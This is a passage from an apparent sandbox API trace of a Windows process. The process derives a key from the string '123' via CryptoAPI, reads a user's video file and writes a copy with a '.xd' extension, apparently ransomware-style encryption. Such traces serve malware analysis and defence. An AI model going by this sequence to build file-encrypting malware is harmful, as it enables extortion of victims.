cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.595] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.596] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.596] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0066.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.597] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.597] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.597] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.598] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.598] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.598] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.598] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.598] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.599] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.599] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.599] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.599] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.599] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.600] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.600] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621900, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.600] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.600] CryptHashData (hHash=0x164c4f0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.600] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.601] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.601] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.601] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.601] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.601] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0066.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.601] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.601] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.602] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.602] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0066.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.602] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.603] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\nd2b5.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.603] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.603] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.603] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.603] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.603] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.603] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.604] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\nd2B5.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\nd2b5.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.604] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.606] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.606] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.608] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x82d4, lpOverlapped=0x0) returned 1 [0066.609] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.612] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.614] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.614] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.614] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.614] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.614] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.614] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.614] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.614] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.614] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.614] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.614] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.614] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.614] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.615] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.615] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.615] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.615] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.615] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.615] CharUpperBuffW 